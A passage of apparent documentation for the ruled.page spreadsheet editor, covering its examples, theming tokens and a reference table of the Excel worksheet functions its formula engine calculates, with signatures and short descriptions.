pivot table and choose Show Field List; right-click a range and insert a chart; drag a chart by its frame.* - **Kitchen sink**: formatting, conditional formats, validation, notes, tables, names, dynamic arrays, `LET` and `LAMBDA`, and checkboxes. - **Charts**: radar, bubble, stock and 3-D charts, drawn from the cells. - **Pivot table**: units by region from a hundred orders, worked out again as they change. - **Orders**: a list to sort, filter and fill. See [Excel fidelity](https://ruled.page/guides/excel-fidelity.md) for what the editor shows, edits and keeps. --- # Theming Source: https://ruled.page/examples/theming/ *Live editor: the theming example. Switch themes above the editor. They change the editor while the workbook stays open, as setTheme does.* Each theme is a set of tokens passed as `theme`, or changed later with `editor.setTheme()`. See [Theming](https://ruled.page/guides/theming.md) for the tokens. --- # Formula functions Source: https://ruled.page/reference/functions/ Formulas are calculated by the editor’s own engine, in its worker, as cells change. Dynamic arrays spill as in Excel 365, and `LET`, `LAMBDA` and its helpers (`MAP`, `REDUCE`, `SCAN`, `BYROW`, `BYCOL`, `MAKEARRAY`) work, as do names defined with them. On opening, the engine’s results are compared with the values Excel saved, and any that disagree are reported. The engine calculates **477** of Excel's 518 worksheet functions. A workbook using one of the other 41 keeps Excel's saved result for it until Excel recalculates the file, and a save lists such formulas as `outOfDate` when their inputs change. ## Calculated |Function|Arguments and what it does| |-|-| |`ABS`|`ABS(number)` Returns the absolute value of a number.| |`ACCRINT`|| |`ACCRINTM`|| |`ACOS`|`ACOS(number)` Returns the arccosine of a number, in radians.| |`ACOSH`|| |`ACOT`|| |`ACOTH`|| |`ADDRESS`|`ADDRESS(row_num, column_num, [abs_num], [a1], [sheet_text])` Returns a cell reference as text, given row and column numbers.| |`AGGREGATE`|`AGGREGATE(function_num, options, ref1, [ref2], ...)` Returns an aggregate (sum, average, count…), optionally ignoring hidden rows and errors.| |`AND`|`AND(logical1, [logical2], ...)` Returns TRUE if all of its arguments are TRUE.| |`ARABIC`|| |`AREAS`|`AREAS(reference)` Returns the number of areas in a reference.| |`ARRAYTOTEXT`|`ARRAYTOTEXT(array, [format])` Returns an array of values as text.| |`ASIN`|`ASIN(number)` Returns the arcsine of a number, in radians.| |`ASINH`|| |`ATAN`|`ATAN(number)` Returns the arctangent of a number, in radians.| |`ATAN2`|`ATAN2(x_num, y_num)` Returns the arctangent of x and y coordinates, in radians.| |`ATANH`|| |`AVEDEV`|`AVEDEV(number1, [number2], ...)` Returns the average of the absolute deviations of numbers from their mean.| |`AVERAGE`|`AVERAGE(number1, [number2], ...)` Returns the average (arithmetic mean) of its arguments.| |`AVERAGEA`|`AVERAGEA(value1, [value2], ...)` Returns the average of its arguments, counting text as 0 and TRUE as 1.| |`AVERAGEIF`|`AVERAGEIF(range, criteria, [average_range])` Returns the average of the cells that meet a condition.| |`AVERAGEIFS`|`AVERAGEIFS(average_range, criteria_range1, criteria1, [criteria_range2, criteria2], ...)` Returns the average of the cells that meet several conditions.| |`BASE`|| |`BESSELI`|| |`BESSELJ`|| |`BESSELK`|| |`BESSELY`|| |`BETA.DIST`|| |`BETA.INV`|| |`BETADIST`|| |`BETAINV`|| |`BIN2DEC`|`BIN2DEC(number)` Converts a binary number to decimal.| |`BIN2HEX`|| |`BIN2OCT`|| |`BINOM.DIST`|`BINOM.DIST(number_s, trials, probability_s, cumulative)` Returns the binomial distribution probability.| |`BINOM.DIST.RANGE`|| |`BINOM.INV`|| |`BINOMDIST`|| |`BITAND`|| |`BITLSHIFT`|| |`BITOR`|| |`BITRSHIFT`|| |`BITXOR`|| |`BYCOL`|`BYCOL(array, lambda)` Applies a LAMBDA to each column and returns an array of the results.| |`BYROW`|`BYROW(array, lambda)` Applies a LAMBDA to each row and returns an array of the results.| |`CEILING`|`CEILING(number, significance)` Rounds a number up to the nearest multiple of significance.| |`CEILING.MATH`|`CEILING.MATH(number, [significance], [mode])` Rounds a number up to the nearest integer or multiple of significance.| |`CEILING.PRECISE`|| |`CELL`|`CELL(info_type, [reference])` Returns information about the formatting, location or contents of a cell.| |`CHAR`|`CHAR(number)` Returns the character with the given code.| |`CHIDIST`|| |`CHIINV`|| |`CHISQ.DIST`|| |`CHISQ.DIST.RT`|| |`CHISQ.INV`|| |`CHISQ.INV.RT`|| |`CHISQ.TEST`|`CHISQ.TEST(actual_range, expected_range)` Returns the chi-squared test for independence.| |`CHITEST`|| |`CHOOSE`|`CHOOSE(index_num, value1, [value2], ...)` Chooses a value from a list by its position.| |`CHOOSECOLS`|`CHOOSECOLS(array, col_num1, [col_num2], ...)` Returns the given columns of an array.| |`CHOOSEROWS`|`CHOOSEROWS(array, row_num1, [row_num2], ...)` Returns the given rows of an array.| |`CLEAN`|`CLEAN(text)` Removes all nonprintable characters from text.| |`CODE`|`CODE(text)` Returns the code of the first character in text.| |`COLUMN`|`COLUMN([reference])` Returns the column number of a reference.| |`COLUMNS`|`COLUMNS(array)` Returns the number of columns in an array or reference.| |`COMBIN`|`COMBIN(number, number_chosen)` Returns the number of combinations of a number of items.| |`COMBINA`|| |`COMPLEX`|| |`CONCAT`|`CONCAT(text1, [text2], ...)` Joins text from several ranges or strings.| |`CONCATENATE`|`CONCATENATE(text1, [text2], ...)` Joins several text items into one.| |`CONFIDENCE`|| |`CONFIDENCE.NORM`|`CONFIDENCE.NORM(alpha, standard_dev, size)` Returns the confidence interval for a population mean, using a normal distribution.| |`CONFIDENCE.T`|`CONFIDENCE.T(alpha, standard_dev, size)` Returns the confidence interval for a population mean, using Student's t-distribution.| |`CORREL`|`CORREL(array1, array2)` Returns the correlation coefficient between two data sets.| |`COS`|`COS(number)` Returns the cosine of an angle.| |`COSH`|| |`COT`|| |`COTH`|| |`COUNT`|`COUNT(value1, [value2], ...)` Counts the cells that contain numbers.| |`COUNTA`|`COUNTA(value1, [value2], ...)` Counts the cells that are not empty.| |`COUNTBLANK`|`COUNTBLANK(range)` Counts the empty cells in a range.| |`COUNTIF`|`COUNTIF(range, criteria)` Counts the cells in a range that meet a condition.| |`COUNTIFS`|`COUNTIFS(criteria_range1, criteria1, [criteria_range2, criteria2], ...)` Counts the cells that meet several conditions.| |`COUPDAYBS`|| |`COUPDAYS`|| |`COUPDAYSNC`|| |`COUPNCD`|| |`COUPNUM`|| |`COUPPCD`|| |`COVAR`|| |`COVARIANCE.P`|`COVARIANCE.P(array1, array2)` Returns the population covariance of two data sets.| |`COVARIANCE.S`|`COVARIANCE.S(array1, array2)` Returns the sample covariance of two data sets.| |`CRITBINOM`|| |`CSC`|| |`CSCH`|| |`CUMIPMT`|`CUMIPMT(rate, nper, pv, start_period, end_period, type)` Returns the cumulative interest paid on a loan between two periods.| |`CUMPRINC`|`CUMPRINC(rate, nper, pv, start_period, end_period, type)` Returns the cumulative principal paid on a loan between two periods.| |`DATE`|`DATE(year, month, day)` Returns the serial number of a date.| |`DATEDIF`|`DATEDIF(start_date, end_date, unit)` Returns the number of days, months or years between two dates.| |`DATEVALUE`|`DATEVALUE(date_text)` Converts a date written as text to a serial number.| |`DAVERAGE`|`DAVERAGE(database, field, criteria)` Returns the average of database entries that meet conditions.| |`DAY`|`DAY(serial_number)` Returns the day of the month, from 1 to 31.| |`DAYS`|`DAYS(end_date, start_date)` Returns the number of days between two dates.| |`DAYS360`|`DAYS360(start_date, end_date, [method])` Returns the number of days between two dates on a 360-day year.| |`DB`|`DB(cost, salvage, life, period, [month])` Returns depreciation for a period by the fixed-declining balance method.| |`DCOUNT`|`DCOUNT(database, field, criteria)` Counts the database entries with numbers that meet conditions.| |`DCOUNTA`|`DCOUNTA(database, field, criteria)` Counts the non-empty database entries that meet conditions.| |`DDB`|`DDB(cost, salvage, life, period, [factor])` Returns depreciation for a period by the double-declining balance method.| |`DEC2BIN`|`DEC2BIN(number, [places])` Converts a decimal number to binary.| |`DEC2HEX`|`DEC2HEX(number, [places])` Converts a decimal number to hexadecimal.| |`DEC2OCT`|| |`DECIMAL`|| |`DEGREES`|`DEGREES(angle)` Converts radians to degrees.| |`DELTA`|| |`DEVSQ`|`DEVSQ(number1, [number2], ...)` Returns the sum of squares of deviations from the mean.| |`DGET`|`DGET(database, field, criteria)` Returns the single database entry that meets conditions.| |`DISC`|| |`DMAX`|`DMAX(database, field, criteria)` Returns the largest database entry that meets conditions.| |`DMIN`|`DMIN(database, field, criteria)` Returns the smallest database entry that meets conditions.| |`DOLLARDE`|| |`DOLLARFR`|| |`DPRODUCT`|| |`DROP`|`DROP(array, rows, [columns])` Removes rows or columns from the start or end of an array.| |`DSTDEV`|| |`DSTDEVP`|| |`DSUM`|`DSUM(database, field, criteria)` Adds the database entries that meet conditions.| |`DURATION`|| |`DVAR`|| |`DVARP`|| |`EDATE`|`EDATE(start_date, months)` Returns the date a number of months before or after a date.| |`EFFECT`|`EFFECT(nominal_rate, npery)` Returns the effective annual interest rate.| |`EOMONTH`|`EOMONTH(start_date, months)` Returns the last day of the month a number of months before or after a date.| |`ERF`|| |`ERF.PRECISE`|| |`ERFC`|| |`ERFC.PRECISE`|| |`ERROR.TYPE`|`ERROR.TYPE(error_val)` Returns a number for an error value.| |`EVEN`|`EVEN(number)` Rounds a number up to the nearest even integer.| |`EXACT`|`EXACT(text1, text2)` Checks whether two text values are exactly the same.| |`EXP`|`EXP(number)` Returns e raised to the power of a number.| |`EXPAND`|`EXPAND(array, rows, [columns], [pad_with])` Expands an array to the given size.| |`EXPON.DIST`|`EXPON.DIST(x, lambda, cumulative)` Returns the exponential distribution.| |`EXPONDIST`|| |`F.DIST`|| |`F.DIST.RT`|| |`F.INV`|| |`F.INV.RT`|| |`F.TEST`|| |`FACT`|`FACT(number)` Returns the factorial of a number.| |`FACTDOUBLE`|| |`FALSE`|`FALSE()` Returns the logical value FALSE.| |`FDIST`|| |`FILTER`|`FILTER(array, include, [if_empty])` Filters a range or array by a condition.| |`FIND`|`FIND(find_text, within_text, [start_num])` Finds one text value within another (case-sensitive).| |`FINDB`|| |`FINV`|| |`FISHER`|| |`FISHERINV`|| |`FIXED`|`FIXED(number, [decimals], [no_commas])` Formats a number as text with a fixed number of decimals.| |`FLOOR`|`FLOOR(number, significance)` Rounds a number down to the nearest multiple of significance.| |`FLOOR.MATH`|`FLOOR.MATH(number, [significance], [mode])` Rounds a number down to the nearest integer or multiple of significance.| |`FLOOR.PRECISE`|| |`FORECAST`|`FORECAST(x, known_y's, known_x's)` Predicts a value along a linear trend.| |`FORECAST.LINEAR`|`FORECAST.LINEAR(x, known_y's, known_x's)` Predicts a value along a linear trend.| |`FORMULATEXT`|`FORMULATEXT(reference)` Returns the formula at a reference as text.| |`FREQUENCY`|`FREQUENCY(data_array, bins_array)` Returns how often values occur within ranges, as a vertical array.| |`FTEST`|| |`FV`|`FV(rate, nper, pmt, [pv], [type])` Returns the future value of an investment.| |`FVSCHEDULE`|| |`GAMMA`|| |`GAMMA.DIST`|| |`GAMMA.INV`|| |`GAMMADIST`|| |`GAMMAINV`|| |`GAMMALN`|| |`GAMMALN.PRECISE`|| |`GAUSS`|| |`GCD`|| |`GEOMEAN`|`GEOMEAN(number1, [number2], ...)` Returns the geometric mean.| |`GESTEP`|| |`GROWTH`|`GROWTH(known_y's, [known_x's], [new_x's], [const])` Returns values along an exponential trend.| |`HARMEAN`|`HARMEAN(number1, [number2], ...)` Returns the harmonic mean.| |`HEX2BIN`|| |`HEX2DEC`|`HEX2DEC(number)` Converts a hexadecimal number to decimal.| |`HEX2OCT`|| |`HLOOKUP`|`HLOOKUP(lookup_value, table_array, row_index_num, [range_lookup])` Looks in the top row of a table and returns the value from a row you choose.| |`HOUR`|`HOUR(serial_number)` Returns the hour of a time, from 0 to 23.| |`HSTACK`|`HSTACK(array1, [array2], ...)` Joins arrays side by side into one array.| |`HYPERLINK`|`HYPERLINK(link_location, [friendly_name])` Creates a link to a document or a place in the workbook.| |`HYPGEOM.DIST`|| |`HYPGEOMDIST`|| |`IF`|`IF(logical_test, [value_if_true], [value_if_false])` Returns one value if a condition is TRUE and another if it is FALSE.| |`IFERROR`|`IFERROR(value, value_if_error)` Returns a value of your choice if a formula gives an error, and its result otherwise.| |`IFNA`|`IFNA(value, value_if_na)` Returns a value of your choice if a formula gives #N/A, and its result otherwise.| |`IFS`|`IFS(logical_test1, value_if_true1, [logical_test2, value_if_true2], ...)` Returns the value for the first condition that is TRUE.| |`IMABS`|| |`IMAGINARY`|| |`IMARGUMENT`|| |`IMCONJUGATE`|| |`IMCOS`|| |`IMCOSH`|| |`IMCOT`|| |`IMCSC`|| |`IMCSCH`|| |`IMDIV`|| |`IMEXP`|| |`IMLN`|| |`IMLOG10`|| |`IMLOG2`|| |`IMPOWER`|| |`IMPRODUCT`|| |`IMREAL`|| |`IMSEC`|| |`IMSECH`|| |`IMSIN`|| |`IMSINH`|| |`IMSQRT`|| |`IMSUB`|| |`IMSUM`|| |`IMTAN`|| |`INDEX`|`INDEX(array, row_num, [column_num])` Returns the value at a row and column of a range or array.| |`INDIRECT`|`INDIRECT(ref_text, [a1])` Returns the reference given by text.| |`INT`|`INT(number)` Rounds a number down to the nearest integer.| |`INTERCEPT`|`INTERCEPT(known_y's, known_x's)` Returns where a linear regression line crosses the y-axis.| |`INTRATE`|| |`IPMT`|`IPMT(rate, per, nper, pv, [fv], [type])` Returns the interest paid on an investment in a period.| |`IRR`|`IRR(values, [guess])` Returns the internal rate of return for a series of cash flows.| |`ISBLANK`|`ISBLANK(value)` Returns TRUE if the value is empty.| |`ISERR`|`ISERR(value)` Returns TRUE if the value is any error except #N/A.| |`ISERROR`|`ISERROR(value)` Returns TRUE if the value is any error.| |`ISEVEN`|`ISEVEN(number)` Returns TRUE if the number is even.| |`ISFORMULA`|`ISFORMULA(reference)` Returns TRUE if the cell holds a formula.| |`ISLOGICAL`|`ISLOGICAL(value)` Returns TRUE if the value is TRUE or FALSE.| |`ISNA`|`ISNA(value)` Returns TRUE if the value is #N/A.| |`ISNONTEXT`|`ISNONTEXT(value)` Returns TRUE if the value is not text.| |`ISNUMBER`|`ISNUMBER(value)` Returns TRUE if the value is a number.| |`ISO.CEILING`|| |`ISODD`|`ISODD(number)` Returns TRUE if the number is odd.| |`ISOWEEKNUM`|`ISOWEEKNUM(date)` Returns the ISO week number of the year for a date.| |`ISPMT`|| |`ISREF`|`ISREF(value)` Returns TRUE if the value is a reference.| |`ISTEXT`|`ISTEXT(value)` Returns TRUE if the value is text.| |`KURT`|`KURT(number1, [number2], ...)` Returns the kurtosis of a data set.| |`LAMBDA`|`LAMBDA([parameter_or_calculation], ...)` Creates a function from parameters and a calculation.| |`LARGE`|`LARGE(array, k)` Returns the k-th largest value in a data set.| |`LCM`|`LCM(number1, [number2], ...)` Returns the least common multiple.| |`LEFT`|`LEFT(text, [num_chars])` Returns the first characters of text.| |`LEFTB`|| |`LEN`|`LEN(text)` Returns the number of characters in text.| |`LENB`|| |`LET`|`LET(name1, name_value1, calculation_or_name2, [name_value2, calculation_or_name3], ...)` Names the results of calculations for use within a formula.| |`LINEST`|`LINEST(known_y's, [known_x's], [const], [stats])` Returns the statistics of a linear trend.| |`LN`|`LN(number)` Returns the natural logarithm of a number.| |`LOG`|`LOG(number, [base])` Returns the logarithm of a number to a base.| |`LOG10`|`LOG10(number)` Returns the base-10 logarithm of a number.| |`LOGEST`|| |`LOGINV`|| |`LOGNORM.DIST`|| |`LOGNORM.INV`|| |`LOGNORMDIST`|| |`LOOKUP`|`LOOKUP(lookup_value, lookup_vector, [result_vector])` Looks up a value in a row or column and returns the value in the same place of another.| |`LOWER`|`LOWER(text)` Converts text to lowercase.| |`MAKEARRAY`|`MAKEARRAY(rows, cols, lambda)` Returns an array of a given size, calculated by a LAMBDA.| |`MAP`|`MAP(array1, lambda_or_array2, ...)` Applies a LAMBDA to each value of arrays and returns the results.| |`MATCH`|`MATCH(lookup_value, lookup_array, [match_type])` Returns the position of a value in a range.| |`MAX`|`MAX(number1, [number2], ...)` Returns the largest value.| |`MAXA`|`MAXA(value1, [value2], ...)` Returns the largest value, counting text as 0 and TRUE as 1.| |`MAXIFS`|`MAXIFS(max_range, criteria_range1, criteria1, [criteria_range2, criteria2], ...)` Returns the largest value among cells that meet conditions.| |`MDETERM`|`MDETERM(array)` Returns the matrix determinant of an array.| |`MDURATION`|| |`MEDIAN`|`MEDIAN(number1, [number2], ...)` Returns the median of the numbers.| |`MID`|`MID(text, start_num, num_chars)` Returns characters from the middle of text.| |`MIDB`|| |`MIN`|`MIN(number1, [number2], ...)` Returns the smallest value.| |`MINA`|`MINA(value1, [value2], ...)` Returns the smallest value, counting text as 0 and TRUE as 1.| |`MINIFS`|`MINIFS(min_range, criteria_range1, criteria1, [criteria_range2, criteria2], ...)` Returns the smallest value among cells that meet conditions.| |`MINUTE`|`MINUTE(serial_number)` Returns the minute of a time, from 0 to 59.| |`MINVERSE`|`MINVERSE(array)` Returns the inverse matrix of an array.| |`MIRR`|`MIRR(values, finance_rate, reinvest_rate)` Returns the modified internal rate of return for a series of cash flows.| |`MMULT`|`MMULT(array1, array2)` Returns the matrix product of two arrays.| |`MOD`|`MOD(number, divisor)` Returns the remainder after division.| |`MODE`|`MODE(number1, [number2], ...)` Returns the most common value in a data set.| |`MODE.MULT`|| |`MODE.SNGL`|`MODE.SNGL(number1, [number2], ...)` Returns the most common value in a data set.| |`MONTH`|`MONTH(serial_number)` Returns the month of a date, from 1 to 12.| |`MROUND`|`MROUND(number, multiple)` Rounds a number to the nearest multiple.| |`MULTINOMIAL`|| |`MUNIT`|| |`N`|`N(value)` Converts a value to a number.| |`NA`|`NA()` Returns the error value #N/A.| |`NEGBINOM.DIST`|| |`NEGBINOMDIST`|| |`NETWORKDAYS`|`NETWORKDAYS(start_date, end_date, [holidays])` Returns the number of working days between two dates.| |`NETWORKDAYS.INTL`|`NETWORKDAYS.INTL(start_date, end_date, [weekend], [holidays])` Returns the number of working days between two dates, with weekends of your choice.| |`NOMINAL`|`NOMINAL(effect_rate, npery)` Returns the nominal annual interest rate.| |`NORM.DIST`|`NORM.DIST(x, mean, standard_dev, cumulative)` Returns the normal distribution.| |`NORM.INV`|`NORM.INV(probability, mean, standard_dev)` Returns the inverse of the normal cumulative distribution.| |`NORM.S.DIST`|`NORM.S.DIST(z, cumulative)` Returns the standard normal distribution.| |`NORM.S.INV`|`NORM.S.INV(probability)` Returns the inverse of the standard normal cumulative distribution.| |`NORMDIST`|| |`NORMINV`|| |`NORMSDIST`|| |`NORMSINV`|| |`NOT`|`NOT(logical)` Reverses a logical value.| |`NOW`|`NOW()` Returns the current date and time.| |`NPER`|`NPER(rate, pmt, pv, [fv], [type])` Returns the number of periods for an investment.| |`NPV`|`NPV(rate, value1, [value2], ...)` Returns the net present value of an investment from periodic cash flows and a discount rate.| |`NUMBERVALUE`|`NUMBERVALUE(text, [decimal_separator], [group_separator])` Converts text to a number, whatever the locale.| |`OCT2BIN`|| |`OCT2DEC`|| |`OCT2HEX`|| |`ODD`|`ODD(number)` Rounds a number up to the nearest odd integer.| |`OFFSET`|`OFFSET(reference, rows, cols, [height], [width])` Returns a reference a number of rows and columns from a reference.| |`OR`|`OR(logical1, [logical2], ...)` Returns TRUE if any argument is TRUE.| |`PDURATION`|| |`PEARSON`|`PEARSON(array1, array2)` Returns the Pearson correlation coefficient.| |`PERCENTILE`|`PERCENTILE(array, k)` Returns the k-th percentile of values in a range.| |`PERCENTILE.EXC`|`PERCENTILE.EXC(array, k)` Returns the k-th percentile, where k is between 0 and 1 exclusive.| |`PERCENTILE.INC`|`PERCENTILE.INC(array, k)` Returns the k-th percentile, where k is between 0 and 1 inclusive.| |`PERCENTOF`|`PERCENTOF(data_subset, data_all)` Returns the share a subset makes of a total.| |`PERCENTRANK`|`PERCENTRANK(array, x, [significance])` Returns the rank of a value in a data set as a percentage.| |`PERCENTRANK.EXC`|| |`PERCENTRANK.INC`|`PERCENTRANK.INC(array, x, [significance])` Returns the rank of a value in a data set as a percentage (0 to 1 inclusive).| |`PERMUT`|`PERMUT(number, number_chosen)` Returns the number of permutations of a number of items.| |`PERMUTATIONA`|| |`PHI`|| |`PI`|`PI()` Returns the value of pi.| |`PMT`|`PMT(rate, nper, pv, [fv], [type])` Returns the periodic payment for a loan.| |`POISSON`|| |`POISSON.DIST`|`POISSON.DIST(x, mean, cumulative)` Returns the Poisson distribution.| |`POWER`|`POWER(number, power)` Returns a number raised to a power.| |`PPMT`|`PPMT(rate, per, nper, pv, [fv], [type])` Returns the payment on the principal of an investment in a period.| |`PRICE`|| |`PRICEDISC`|| |`PRICEMAT`|| |`PROB`|| |`PRODUCT`|`PRODUCT(number1, [number2], ...)` Multiplies its arguments.| |`PROPER`|`PROPER(text)` Capitalises the first letter of each word.| |`PV`|`PV(rate, nper, pmt, [fv], [type])` Returns the present value of an investment.| |`QUARTILE`|`QUARTILE(array, quart)` Returns the quartile of a data set.| |`QUARTILE.EXC`|`QUARTILE.EXC(array, quart)` Returns the quartile of a data set, from percentiles 0 to 1 exclusive.| |`QUARTILE.INC`|`QUARTILE.INC(array, quart)` Returns the quartile of a data set, from percentiles 0 to 1 inclusive.| |`QUOTIENT`|`QUOTIENT(numerator, denominator)` Returns the integer part of a division.| |`RADIANS`|`RADIANS(angle)` Converts degrees to radians.| |`RAND`|`RAND()` Returns a random number between 0 and 1.| |`RANDARRAY`|`RANDARRAY([rows], [columns], [min], [max], [whole_number])` Returns an array of random numbers.| |`RANDBETWEEN`|`RANDBETWEEN(bottom, top)` Returns a random integer between two numbers.| |`RANK`|`RANK(number, ref, [order])` Returns the rank of a number in a list.| |`RANK.AVG`|`RANK.AVG(number, ref, [order])` Returns the rank of a number in a list; ties get their average rank.| |`RANK.EQ`|`RANK.EQ(number, ref, [order])` Returns the rank of a number in a list; ties get the top rank.| |`RATE`|`RATE(nper, pmt, pv, [fv], [type], [guess])` Returns the interest rate per period of an annuity.| |`RECEIVED`|| |`REDUCE`|`REDUCE([initial_value], array, lambda)` Reduces an array to one value by applying a LAMBDA to each value.| |`REPLACE`|`REPLACE(old_text, start_num, num_chars, new_text)` Replaces characters within text.| |`REPLACEB`|| |`REPT`|`REPT(text, number_times)` Repeats text a number of times.| |`RIGHT`|`RIGHT(text, [num_chars])` Returns the last characters of text.| |`RIGHTB`|| |`ROMAN`|| |`ROUND`|`ROUND(number, num_digits)` Rounds a number to a number of digits.| |`ROUNDDOWN`|`ROUNDDOWN(number, num_digits)` Rounds a number down, towards zero.| |`ROUNDUP`|`ROUNDUP(number, num_digits)` Rounds a number up, away from zero.| |`ROW`|`ROW([reference])` Returns the row number of a reference.| |`ROWS`|`ROWS(array)` Returns the number of rows in an array or reference.| |`RRI`|| |`RSQ`|`RSQ(known_y's, known_x's)` Returns the square of the Pearson correlation coefficient.| |`SCAN`|`SCAN([initial_value], array, lambda)` Applies a LAMBDA to each value and returns each intermediate result.| |`SEARCH`|`SEARCH(find_text, within_text, [start_num])` Finds one text value within another (not case-sensitive).| |`SEARCHB`|| |`SEC`|| |`SECH`|| |`SECOND`|`SECOND(serial_number)` Returns the second of a time, from 0 to 59.| |`SEQUENCE`|`SEQUENCE(rows, [columns], [start], [step])` Returns a list of sequential numbers.| |`SERIESSUM`|| |`SHEET`|`SHEET([value])` Returns the sheet number of a sheet.| |`SHEETS`|`SHEETS([reference])` Returns the number of sheets in a reference.| |`SIGN`|`SIGN(number)` Returns the sign of a number: 1, 0 or -1.| |`SIN`|`SIN(number)` Returns the sine of an angle.| |`SINH`|| |`SKEW`|`SKEW(number1, [number2], ...)` Returns the skewness of a distribution.| |`SKEW.P`|| |`SLN`|`SLN(cost, salvage, life)` Returns straight-line depreciation for one period.| |`SLOPE`|`SLOPE(known_y's, known_x's)` Returns the slope of a linear regression line.| |`SMALL`|`SMALL(array, k)` Returns the k-th smallest value in a data set.| |`SORT`|`SORT(array, [sort_index], [sort_order], [by_col])` Sorts the contents of a range or array.| |`SORTBY`|`SORTBY(array, by_array1, [sort_order1], [by_array2, sort_order2], ...)` Sorts a range or array by the values in another.| |`SQRT`|`SQRT(number)` Returns a positive square root.| |`SQRTPI`|| |`STANDARDIZE`|`STANDARDIZE(x, mean, standard_dev)` Returns a normalised value.| |`STDEV`|`STDEV(number1, [number2], ...)` Estimates standard deviation from a sample.| |`STDEV.P`|`STDEV.P(number1, [number2], ...)` Returns the standard deviation of a whole population.| |`STDEV.S`|`STDEV.S(number1, [number2], ...)` Estimates standard deviation from a sample.| |`STDEVA`|| |`STDEVP`|| |`STDEVPA`|| |`STEYX`|`STEYX(known_y's, known_x's)` Returns the standard error of the predicted y-values of a regression.| |`SUBSTITUTE`|`SUBSTITUTE(text, old_text, new_text, [instance_num])` Replaces old text with new text.| |`SUBTOTAL`|`SUBTOTAL(function_num, ref1, [ref2], ...)` Returns a subtotal in a list, ignoring other subtotals.| |`SUM`|`SUM(number1, [number2], ...)` Adds its arguments.| |`SUMIF`|`SUMIF(range, criteria, [sum_range])` Adds the cells that meet a condition.| |`SUMIFS`|`SUMIFS(sum_range, criteria_range1, criteria1, [criteria_range2, criteria2], ...)` Adds the cells that meet several conditions.| |`SUMPRODUCT`|`SUMPRODUCT(array1, [array2], ...)` Returns the sum of the products of corresponding values.| |`SUMSQ`|`SUMSQ(number1, [number2], ...)` Returns the sum of the squares of its arguments.| |`SUMX2MY2`|| |`SUMX2PY2`|| |`SUMXMY2`|| |`SWITCH`|`SWITCH(expression, value1, result1, [default_or_value2, result2], ...)` Compares a value against a list and returns the result for the first match.| |`SYD`|`SYD(cost, salvage, life, per)` Returns sum-of-years' digits depreciation for a period.| |`T`|`T(value)` Returns the value if it is text, and empty text otherwise.| |`T.DIST`|`T.DIST(x, deg_freedom, cumulative)` Returns Student's left-tailed t-distribution.| |`T.DIST.2T`|| |`T.DIST.RT`|| |`T.INV`|`T.INV(probability, deg_freedom)` Returns the left-tailed inverse of Student's t-distribution.| |`T.INV.2T`|`T.INV.2T(probability, deg_freedom)` Returns the two-tailed inverse of Student's t-distribution.| |`T.TEST`|`T.TEST(array1, array2, tails, type)` Returns the probability of Student's t-test.| |`TAKE`|`TAKE(array, rows, [columns])` Returns rows or columns from the start or end of an array.| |`TAN`|`TAN(number)` Returns the tangent of an angle.| |`TANH`|| |`TBILLEQ`|| |`TBILLPRICE`|| |`TBILLYIELD`|| |`TDIST`|| |`TEXT`|`TEXT(value, format_text)` Formats a number and converts it to text.| |`TEXTAFTER`|`TEXTAFTER(text, delimiter, [instance_num], [match_mode], [match_end], [if_not_found])` Returns the text after a delimiter.| |`TEXTBEFORE`|`TEXTBEFORE(text, delimiter, [instance_num], [match_mode], [match_end], [if_not_found])` Returns the text before a delimiter.| |`TEXTJOIN`|`TEXTJOIN(delimiter, ignore_empty, text1, [text2], ...)` Joins text from several ranges or strings, with a delimiter between.| |`TEXTSPLIT`|`TEXTSPLIT(text, col_delimiter, [row_delimiter], [ignore_empty], [match_mode], [pad_with])` Splits text into rows and columns at delimiters.| |`TIME`|`TIME(hour, minute, second)` Returns the serial number of a time.| |`TIMEVALUE`|`TIMEVALUE(time_text)` Converts a time written as text to a serial number.| |`TINV`|| |`TOCOL`|`TOCOL(array, [ignore], [scan_by_column])` Returns an array as one column.| |`TODAY`|`TODAY()` Returns today's date.| |`TOROW`|`TOROW(array, [ignore], [scan_by_column])` Returns an array as one row.| |`TRANSPOSE`|`TRANSPOSE(array)` Swaps the rows and columns of an array.| |`TREND`|`TREND(known_y's, [known_x's], [new_x's], [const])` Returns values along a linear trend.| |`TRIM`|`TRIM(text)` Removes spaces from text, except single spaces between words.| |`TRIMMEAN`|`TRIMMEAN(array, percent)` Returns the mean of the interior of a data set.| |`TRUE`|`TRUE()` Returns the logical value TRUE.| |`TRUNC`|`TRUNC(number, [num_digits])` Truncates a number to an integer or a number of digits.| |`TTEST`|| |`TYPE`|`TYPE(value)` Returns a number for the type of a value.| |`UNICHAR`|`UNICHAR(number)` Returns the Unicode character with the given code.| |`UNICODE`|`UNICODE(text)` Returns the Unicode code of the first character of text.| |`UNIQUE`|`UNIQUE(array, [by_col], [exactly_once])` Returns the unique values of a range or array.| |`UPPER`|`UPPER(text)` Converts text to uppercase.| |`VALUE`|`VALUE(text)` Converts text to a number.| |`VALUETOTEXT`|`VALUETOTEXT(value, [format])` Returns a value as text.| |`VAR`|`VAR(number1, [number2], ...)` Estimates variance from a sample.| |`VAR.P`|`VAR.P(number1, [number2], ...)` Returns the variance of a whole population.| |`VAR.S`|`VAR.S(number1, [number2], ...)` Estimates variance from a sample.| |`VARA`|| |`VARP`|| |`VARPA`|| |`VDB`|| |`VLOOKUP`|`VLOOKUP(lookup_value, table_array, col_index_num, [range_lookup])` Looks in the first column of a table and returns the value from a column you choose.| |`VSTACK`|`VSTACK(array1, [array2], ...)` Stacks arrays one above another into one array.| |`WEEKDAY`|`WEEKDAY(serial_number, [return_type])` Returns the day of the week of a date, as a number.| |`WEEKNUM`|`WEEKNUM(serial_number, [return_type])` Returns the week number of the year for a date.| |`WEIBULL`|| |`WEIBULL.DIST`|| |`WORKDAY`|`WORKDAY(start_date, days, [holidays])` Returns the date a number of working days before or after a date.| |`WORKDAY.INTL`|`WORKDAY.INTL(start_date, days, [weekend], [holidays])` Returns the date a number of working days away, with weekends of your choice.| |`WRAPCOLS`|`WRAPCOLS(vector, wrap_count, [pad_with])` Wraps a row or column of values into columns.| |`WRAPROWS`|`WRAPROWS(vector, wrap_count, [pad_with])` Wraps a row or column of values into rows.| |`XIRR`|`XIRR(values, dates, [guess])` Returns the internal rate of return for cash flows that are not periodic.| |`XLOOKUP`|`XLOOKUP(lookup_value, lookup_array, return_array, [if_not_found], [match_mode], [search_mode])` Searches a range for a match and returns the matching item from another range.| |`XMATCH`|`XMATCH(lookup_value, lookup_array, [match_mode], [search_mode])` Returns the position of an item in an array.| |`XNPV`|`XNPV(rate, values, dates)` Returns the net present value of cash flows that are not 